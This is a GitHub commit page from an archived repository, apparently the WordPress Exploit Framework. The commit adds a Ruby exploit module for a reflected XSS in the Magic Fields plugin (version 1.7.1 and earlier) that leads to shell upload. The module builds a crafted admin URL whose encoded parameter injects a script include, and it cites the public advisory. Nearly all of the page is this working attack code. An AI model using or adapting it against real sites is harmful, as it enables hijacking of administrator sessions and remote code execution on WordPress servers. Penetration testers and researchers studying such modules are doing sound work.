Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 37a2802

Browse files
committed
Add Magic Fields <= 1.7.1 reflected XSS shell upload
1 parent e0fd09b commit 37a2802

File tree

1 file changed

+34
-0
lines changed

1 file changed

+34
-0
lines changed
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
class Wpxf::Exploit::MagicFieldsReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Magic Fields <= 1.7.1 Reflected XSS Shell Upload',
9+
author: [
10+
'Burak Kelebek', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8756'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_magic_fields_1_wordpress_plugin.html']
16+
],
17+
date: 'Mar 01 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('Magic-Fields', '1.7.2')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'admin.php')
27+
end
28+
29+
def url_with_xss
30+
"#{vulnerable_url}?page=MagicFieldsMenu"\
31+
"&custom-write-panel-id=1%22%2F%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E"\
32+
'&mf_action=finish-create-custom-field'
33+
end
34+
end

0 commit comments

Comments
 (0)